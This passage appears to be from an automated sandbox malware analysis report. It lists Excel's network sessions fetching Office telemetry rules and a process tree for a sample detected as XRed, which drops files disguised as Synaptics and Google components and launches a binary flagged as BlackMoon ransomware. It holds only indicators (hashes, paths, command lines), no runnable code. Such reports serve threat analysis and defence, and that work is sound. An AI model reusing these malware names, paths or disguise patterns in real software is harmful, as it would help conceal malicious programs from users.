2024-08-05 10:01:28 UTC	777	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 34 39 30 30 31 36 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 46 65 65 64 62 61 63 6b 2e 53 75 72 76 65 79 2e 46 6c 6f 6f 64 67 61 74 65 43 6c 69 65 6e 74 2e 52 6f 61 6d 69 6e 67 53 75 63 63 65 73 73 66 75 6c 52 65 61 64 57 72 69 74 65 22 20 41 54 54 3d 22 64 37 39 65 38 32 34 33 38 36 63 34 34 34 31 63 62 38 63 31 64 34 61 65 31 35 36 39 30 35 32 36 2d 62 64 34 34 33 33 30 39 2d 35 34 39 34 2d 34 34 34 61 2d 61 62 61 39 2d 30 61 66 39 65 65 66 39 39 66 38 34 2d 37 33 36 30 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 20 44 4c 3d 22 4e 22 20 44 43 61 3d 22 50 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="490016" V="3" DC="SM" EN="Office.Feedback.Survey.FloodgateClient.RoamingSuccessfulReadWrite" ATT="d79e824386c4441cb8c1d4ae15690526-bd443309-5494-444a-aba9-0af9eef99f84-7360" T="Upload-Medium" DL="N" DCa="P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49896	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:28 UTC	208	OUT	GET /rules/rule170012v12s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:28 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:28 GMT Content-Type: text/xml Content-Length: 1353 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Sat, 25 May 2024 18:28:18 GMT ETag: "0x8DC7CE8734A2850" x-ms-request-id: 7cf7d05f-b01e-001e-43bb-e60214000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100128Z-15c77d898444w4v8529hc1373g00000006w00000000007g5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-05 10:01:28 UTC	1353	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 37 30 30 31 32 22 20 56 3d 22 31 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 47 72 61 70 68 69 63 73 2e 47 56 69 7a 49 6e 6b 53 74 72 6f 6b 65 22 20 41 54 54 3d 22 63 66 63 66 64 62 39 31 63 36 38 63 34 33 32 39 62 62 38 62 37 63 62 37 62 61 62 62 33 63 66 37 2d 65 30 38 32 63 32 66 32 2d 65 66 31 64 2d 34 32 37 61 2d 61 63 34 64 2d 62 30 62 37 30 30 61 66 65 37 61 37 2d 37 36 35 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="170012" V="12" DC="SM" EN="Office.Graphics.GVizInkStroke" ATT="cfcfdb91c68c4329bb8b7cb7babb3cf7-e082c2f2-ef1d-427a-ac4d-b0b700afe7a7-7655" SP="CriticalBusinessImpact" DCa="PSU" xmlns=""> <S> <UTS T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49899	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:28 UTC	207	OUT	GET /rules/rule324002v5s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:28 GMT Content-Type: text/xml Content-Length: 833 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:33 GMT ETag: "0x8DC582BD9758B35" x-ms-request-id: 368800a7-c01e-00a1-34d0-e67e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100128Z-15c77d898444jwbgnb0eq9mkag00000007400000000065er x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-05 10:01:28 UTC	833	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 32 22 20 56 3d 22 35 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 44 65 63 6c 61 72 65 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324002" V="5" DC="SM" EN="Office.Extensibility.VbaTelemetryDeclare" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" DCa="DC PSP PSU" xmlns=""> <S> <UTS T="1" Id="b0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49902	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:29 UTC	207	OUT	GET /rules/rule324005v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:29 GMT Content-Type: text/xml Content-Length: 599 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:51 GMT ETag: "0x8DC582BC0B3C3C8" x-ms-request-id: 2cd5b0af-e01e-001f-1bd0-e61633000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100129Z-15c77d89844bn5tg1eu1b1rxvc00000008600000000076u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-05 10:01:29 UTC	599	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 35 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 43 6f 6d 70 69 6c 65 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324005" V="2" DC="SM" EN="Office.Extensibility.VbaTelemetryCompile" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" SP="CriticalBusinessImpact" DCa="DC PSP PSU" xmlns="">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49901	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:29 UTC	207	OUT	GET /rules/rule324004v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:29 GMT Content-Type: text/xml Content-Length: 738 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:34 GMT ETag: "0x8DC582BD9FE7D4B" x-ms-request-id: aebee263-501e-0047-4bd0-e6ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100129Z-15c77d89844q76fhuqbz6t4az4000000070g000000005dhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-05 10:01:29 UTC	738	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 34 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 43 6f 6d 4f 62 6a 65 63 74 49 6e 73 74 61 6e 74 69 61 74 65 64 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324004" V="4" DC="SM" EN="Office.Extensibility.VbaTelemetryComObjectInstantiated" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" DCa="DC PSP PSU" xmlns=""> <S> <UT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49904	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:29 UTC	207	OUT	GET /rules/rule324007v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:29 GMT Content-Type: text/xml Content-Length: 611 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:50 GMT ETag: "0x8DC582BBFB58BC6" x-ms-request-id: bbc530e2-601e-0001-42d0-e6faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100129Z-15c77d89844klxvpz8bvz0m0e400000006y000000000e7zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-05 10:01:29 UTC	611	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 37 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 49 64 65 4d 61 63 72 6f 52 75 6e 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324007" V="2" DC="SM" EN="Office.Extensibility.VbaTelemetryIdeMacroRun" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" SP="CriticalBusinessImpact" DCa="DC PSP PSU" xmlns="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	49900	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:29 UTC	207	OUT	GET /rules/rule324003v5s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:29 GMT Content-Type: text/xml Content-Length: 716 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:34 GMT ETag: "0x8DC582BD9F5CC0A" x-ms-request-id: 36880148-c01e-00a1-40d0-e67e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100129Z-15c77d898447tq68egp8ucyekc0000000710000000004zbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-05 10:01:29 UTC	716	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 33 22 20 56 3d 22 35 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 52 65 66 65 72 65 6e 63 65 64 4c 69 62 72 61 72 79 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324003" V="5" DC="SM" EN="Office.Extensibility.VbaTelemetryReferencedLibrary" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" DCa="DC PSP PSU" xmlns=""> <S> <UTS T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	49903	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:29 UTC	207	OUT	GET /rules/rule324006v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:29 GMT Content-Type: text/xml Content-Length: 599 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:44 GMT ETag: "0x8DC582BBC83D642" x-ms-request-id: eada8e00-b01e-003d-1ed0-e6d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100129Z-15c77d89844sj9gh4drs088qe800000006pg000000000e1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-05 10:01:29 UTC	599	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 36 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 53 68 6f 77 49 64 65 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324006" V="2" DC="SM" EN="Office.Extensibility.VbaTelemetryShowIde" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" SP="CriticalBusinessImpact" DCa="DC PSP PSU" xmlns="">

Target ID:	0
Start time:	06:00:09
Start date:	05/08/2024
Path:	C:\Users\user\Desktop\3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3.exe"
Imagebase:	0x400000
File size:	22'382'592 bytes
MD5 hash:	CE31C7FBDA3EC7956327A742C68DA537
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:00:10
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:00:10
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	06:00:11
Start date:	05/08/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff648230000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:00:12
Start date:	05/08/2024
Path:	C:\Users\user\Desktop\._cache_3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_3.exe"
Imagebase:	0x510000
File size:	21'611'008 bytes
MD5 hash:	A2D8E20445CF88A10FADE8DE1B8379FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:00:12
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:00:12
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	06:00:12
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:00:13
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	06:00:15
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	06:00:15
Start date:	05/08/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	B18C94884CC98C89024034F707824909
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:00:16
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:00:17
Start date:	05/08/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x250000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	06:00:17
Start date:	05/08/2024
Path:	C:\Program Files (x86)\Google\C2485384.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\google\C2485384.exe" WfCSiyl7KCmSdCh9fCp6eymBklp7KYEqfR6SPI15L3l2e43pPHsme04=
Imagebase:	0x400000
File size:	1'168'440 bytes
MD5 hash:	0D79B45E55C20F14D9614596247B7DF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000011.00000002.3860099169.000000000FBA4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	06:00:25
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	06:00:28
Start date:	05/08/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	B18C94884CC98C89024034F707824909
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:22:04
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	07:22:26
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:22:26
